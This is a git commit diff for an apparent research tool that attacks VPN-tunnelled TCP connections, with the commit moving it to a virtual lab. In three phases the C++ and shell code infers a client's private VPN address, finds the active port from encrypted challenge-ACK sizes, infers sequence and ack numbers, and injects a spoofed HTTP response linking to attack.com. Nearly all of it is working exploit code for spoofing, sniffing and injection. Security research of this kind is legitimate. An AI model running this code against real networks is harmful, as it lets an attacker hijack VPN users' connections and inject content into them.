added client side attack env to virtual lab and server side tcp

client-side-attack/complete_attack/attack.sh

@@ -1,16 +1,17 @@
-REMOTE_ADDR=$1
-REMOTE_PORT=80
+REMOTE_ADDR=192.168.3.2 # ip of web-server to check for connection
+REMOTE_PORT=8080 # web server port
 
-VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
-WLAN_GATEWAY=192.168.12.1  # address of local network gateway
-VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
+VICTIM_WLAN_ADDR=172.16.4.2 # vpn client wlan ip
+WLAN_GATEWAY=172.16.4.254  # address of local network gateway
+VICTIM_PRIV_NET=10.8.0.0
 PRIV_NETMASK=255.255.255.0
 
 REQUEST_SIZE=529
-DEST_MAC=a4:34:d9:53:92:c4
-INTERFACE=wlp1s0
+DEST_MAC=08:00:27:e8:bf:1f
+INTERFACE=enp0s9
+
+printf "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
 
-echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
 
 echo `date`
 echo "attempting to infer client's private VPN address.."
@@ -18,20 +19,24 @@ echo "attempting to infer client's private VPN address.."
 cd ../first_phase
 
 
-PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
+PRIV_IP="$(sudo ./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
 echo "phase 1 client private IP: ${PRIV_IP}"
 
-echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
+printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
+
 echo `date`
 echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
 cd ../sec_phase
-VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
+
+VPORT="$(sudo ./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $INTERFACE)"
 echo "phase 2 port result: ${VPORT}"
 
-echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
+printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
 echo `date`
 echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
 cd ../third_phase
-./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
+
+sudo ./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE $INTERFACE
+
 
 echo `date`

client-side-attack/first_phase/phase_one_attack.sh

@@ -1,10 +0,0 @@
-#/bin/bash
-
-./phase_one_attack 52:54:00:12:ae:4c\
-	52:54:00:12:ae:3f\
-	10.7.1.0\
- 	255.255.255.0\
-	192.168.64.1\
-	ens5\
-	35220\
-	443 

client-side-attack/first_phase/send.cpp

@@ -1,35 +1,3 @@
-/*
- * Modified from http://libtins.github.io/examples/syn-scanner/
- *
- * INCLUDED COPYRIGHT
- * Copyright (c) 2016, Matias Fontanini
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- *
- * * Redistributions of source code must retain the above copyright
- *   notice, this list of conditions and the following disclaimer.
- * * Redistributions in binary form must reproduce the above
- *   copyright notice, this list of conditions and the following disclaimer
- *   in the documentation and/or other materials provided with the
- *   distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
- * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
- * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- *
- */
-
 #include <iostream>
 #include <iomanip>
 #include <vector>
@@ -116,9 +84,10 @@ void Scanner::launch_sniffer() {
     sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
 }
 
-/* Our scan handler. This will receive SYN-ACKS and inform us
- * the scanned port's status.
- */
+
+// Handle sniffed packets until we find a response 
+// with a potential private tun IP address
+//
 bool Scanner::callback(PDU& pdu) {
 	// Find the layers we want.
 	const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
@@ -141,7 +110,7 @@ void Scanner::run() {
     pthread_t thread;
     // Launch our sniff thread.
     pthread_create(&thread, 0, &Scanner::thread_proc, this);
-    // Start sending SYNs to port.
+    // Start sending SYNs to possible private IPs
     send_synacks();
 
     // Wait for our sniffer.

client-side-attack/sec_phase/send.cpp

@@ -17,12 +17,12 @@ bool sniffed_chack = false;
 bool is_running = true;
 bool verbose = false;
 bool count_chacks = false;
-bool quick_mode = true; // if true we don't recheck the port
+bool quick_mode = false; // if true we don't recheck the port
 
 int num_sent = 0;
 string victim_wlan_addr;
 string remote_addr;
-
+string interface;
 
 
 void print_divider(int count) {
@@ -36,30 +36,30 @@ void print_divider(int count) {
 bool handle_packet(PDU &some_pdu) {
 
   const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
+
   // keep track of the last port we spoofed
   if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
 
+
   if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
 
     const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
-    //cout << "sniffed something: " <<payload << "\n";
-    const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
+    const int remainder = payload % 99; // 99 is the size of encrypted resets on ubuntu 16
 
     if (remainder != 0) {
 
-      //cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
+      //cout << "\nsniffed possible chack - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
 
       // If it's not working as expected, uncomment the line above to
       // check what the typical remainder is looking like as it scans the
-      // port range. In this case, ubuntu 19, if you uncomment the line above
-      // it would repeatedly sniff 41 packets until the correct port, then it
-      // would sniff a 48 packet
+      // port range. In this case, on ubuntu 16, the encrypted RSTs have size 99
+      // compared to the encrypted ACKs that will be size 115 so we look for remainders
+      // of size 16
 
-      if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS 
+      if (remainder == 53 || remainder == 78 || remainder == 16) { // the size of the remainder could change per victim OS 
         if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
 
         if (count_chacks) chack_count ++;
-        if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
         if (!sniffed_chack) {
           sniffed_chack = true;
           best_port = current_spoof_port;
@@ -73,17 +73,20 @@ bool handle_packet(PDU &some_pdu) {
 void sniff_stuff() {
   SnifferConfiguration config;
   config.set_promisc_mode(true);
-  Sniffer sniffer("wlp1s0", config);
+  Sniffer sniffer(interface, config);
   sniffer.sniff_loop(handle_packet);
 }
 
 
-
+// Rechecks a potential matching port for the connection
+// and expects to see the same number of chall-acks 
+// triggered as num_checks
+//
 bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
 
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
   count_chacks = true;
   chack_count = 0;
 
@@ -124,10 +127,10 @@ bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac,
 int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
-  int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
-  int end_port = 42000;//61000;
+  int start_port = 32768; // typical Linux ephemeral port range - (32768, 61000)
+  int end_port = 61000;
   int i;
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
@@ -152,8 +155,7 @@ int phase_two_spread(string dest_mac, string src_mac, string source_ip, int spor
 
   // In round 1 we spoofed fast (10 sleep) to get a good estimate of the
   // port in use. Round 2, we spoof slower from about 50 packets back to account
-  // for the delay in response and hopefully get the exact port number in use
-
+  // for the delay in response and hopefully get the exact port number in use.
   print_divider(1);
   usleep(1000000 / 2);
   sniffed_chack = false;
@@ -178,7 +180,9 @@ int phase_two_spread(string dest_mac, string src_mac, string source_ip, int spor
 }
 
 
-
+// Continually looks for a port in use by the victim VPN client
+// being used to communicate witht the target web server
+//
 int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
 
   bool is_found = false;
@@ -191,7 +195,7 @@ int find_port(string dest_mac, string src_mac, string source_ip, int sport, stri
 
     if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
 
-    cout << current_port << "\n";
+    //cout << current_port << "\n";
 
     if (quick_mode) {
       is_found = true;
@@ -210,8 +214,8 @@ int find_port(string dest_mac, string src_mac, string source_ip, int sport, stri
 
 int main(int argc, char** argv) {
 
-  if (argc != 5 && argc != 6) {
-    cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
+  if (argc != 7) {
+    cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, iface)\n";
     return 0;
   }
 
@@ -222,6 +226,8 @@ int main(int argc, char** argv) {
   //verbose = true;
 
   string dest_mac = argv[5];
+  interface = argv[6];
+
   string src_mac = "";
 
   print_divider(2);
@@ -231,7 +237,6 @@ int main(int argc, char** argv) {
   int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
   is_running = false;
   sniff_thread.detach();
-  //sniff_thread.join();
 
   print_divider(1);
   if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";

client-side-attack/third_phase/send.cpp

@@ -31,7 +31,7 @@ bool show = false;
 bool testing = true; // if using netcat set to true, else false
 int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
 
-std::string victim_wlan_addr, dest_ip, remote_addr;
+std::string victim_wlan_addr, dest_ip, remote_addr, interface;
 int sport, dport, request_size, chack_count;
 
 
@@ -47,10 +47,13 @@ void print_divider(int count) {
   }
 }
 
+// Injects a malicious payload with the exact seq
+// and in-window ack inferred before
+//
 int inject_junk(long exact_seq, long in_win_ack) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
 
@@ -81,7 +84,7 @@ int inject_junk(long exact_seq, long in_win_ack) {
 bool rechack(long seq, long ack, int num_checks) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
   count_chacks = true;
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
@@ -104,7 +107,7 @@ bool rechack(long seq, long ack, int num_checks) {
   while (count < num_checks) {
     sender.send(pkt, iface);
     num_sent ++;
-    usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
+    usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
     count ++;
   }
 
@@ -131,7 +134,7 @@ bool rechack(long seq, long ack, int num_checks) {
 long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
   TCP& tcp = pkt.rfind_pdu<TCP>();
@@ -190,10 +193,10 @@ long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
 long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   // Loop over ack space sending empty push-acks
-  // that user the in window sequence number found before
+  // that use the in window sequence number found before
   //
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
@@ -213,7 +216,7 @@ long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size
   best_ack = 0;
 
 
-  while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
+  while (j > min_ack && chack_count < chack_trigs) { 
     usleep(send_delay);
 
     tcp.ack_seq(j);
@@ -309,7 +312,7 @@ long quack_spread(long in_win_seq) {
 long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   long max_seq = top_seq;
   long adder = prev_block_size * delay_mult;
@@ -352,7 +355,7 @@ bool handle_packet(PDU &some_pdu) {
       const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
       //cout << payload << "\n";
 
-      if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
+      if (payload == 115) { // each triggered chall-ack is 115 length SSL 
         if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
         if (count_chacks) chack_count += 1;
         if (track_nums) possible_acks.push_back(current_spoof_ack);
@@ -380,9 +383,8 @@ bool handle_packet(PDU &some_pdu) {
 
       const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
       //cout << payload << "\n";
-      const int remainder = payload % 67;
 
-      if (payload == 79) { 
+      if (payload == 115) { // each triggered chall-ack is 115 length SSL
 
         if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
 
@@ -417,10 +419,12 @@ bool handle_packet(PDU &some_pdu) {
   return true;
 }
 
+
+
 void sniff_stuff() {
   SnifferConfiguration config;
   config.set_promisc_mode(true);
-  Sniffer sniffer("wlp1s0", config);
+  Sniffer sniffer(interface, config);
   sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
 }
 
@@ -463,7 +467,7 @@ long try_seq_block(long current_seq) {
   current_seq = best_seq;
   wait_count = 0;
 
-  long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
+  long s2 = find_seq_block(1055, 20, 50, 600, current_seq); 
 
   while (best_seq == current_seq) {
     usleep(500000);
@@ -472,18 +476,18 @@ long try_seq_block(long current_seq) {
     if (wait_count > 5) return -1;
   }
 
-  return best_seq - 10000; // subtract 10k for wifi delay
+  return best_seq; 
 
 }
 
 // Gets rough estimate of sequence number in use
-// by spreading entire sequence range quicly then
+// by spreading entire sequence range quickly then
 // tries to find in win sequence using each
 //
 long find_in_win_seq() {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   long start_seq_guess = 1;
   long max_seq_num = 4294967295;
@@ -591,11 +595,11 @@ long find_in_win_ack(long in_win_seq) {
   track_nums = false;
 
   // clack has been consistently within 40k of next ack while testing but
-  // in practical use it needs to be less than the expected ack by at most
-  // 20k to be accepted as a valid ack, so here we add 20k to counter our delay
-  // but we could add a third ack scan to make it more accurate
+  // it needs to be less than the expected ack by at most 20k to be
+  // accepted as a valid ack, so here we add 30k to counter our delay
+  // but a third ack scan could be added to make it more accurate
   //
-  long in_win_ack = clack + 30000; // adding extra 30k for wifi delay 
+  long in_win_ack = clack + 30000; 
   return in_win_ack;
 }
 
@@ -643,12 +647,10 @@ int phase_three_spread() {
   usleep(1000000 / 2);
 
   long in_win_ack = find_in_win_ack(in_win_seq);
-  in_win_ack += 40000; // add 40k for wifi delay
 
   cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
 
-  // jump back 40 for wifi delay
-  long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
+  long exact_seq = find_exact_seq(in_win_seq, in_win_ack, 100000) + 1; // should be one less than left edge
   cout << "final exact seq guess: " << exact_seq << "\n";
   cout << "total number of packets sent: " << num_sent << "\n";
   print_divider(2);
@@ -669,8 +671,8 @@ int phase_three_spread() {
 
 int main(int argc, char** argv) {
 
-  if (argc != 8) {
-    cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
+  if (argc != 9) {
+    cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size, iface)\n";
     return 0;
   }
 
@@ -681,14 +683,13 @@ int main(int argc, char** argv) {
   dest_mac = argv[5];
   dport = atoi(argv[6]);
   request_size = atoi(argv[7]);
-
+  interface = argv[8];
   thread sniff_thread(sniff_stuff);
   print_divider(2);
 
   int r = phase_three_spread();
 
   sniff_thread.detach();
-  //sniff_thread.join();
 
   return 0;
 }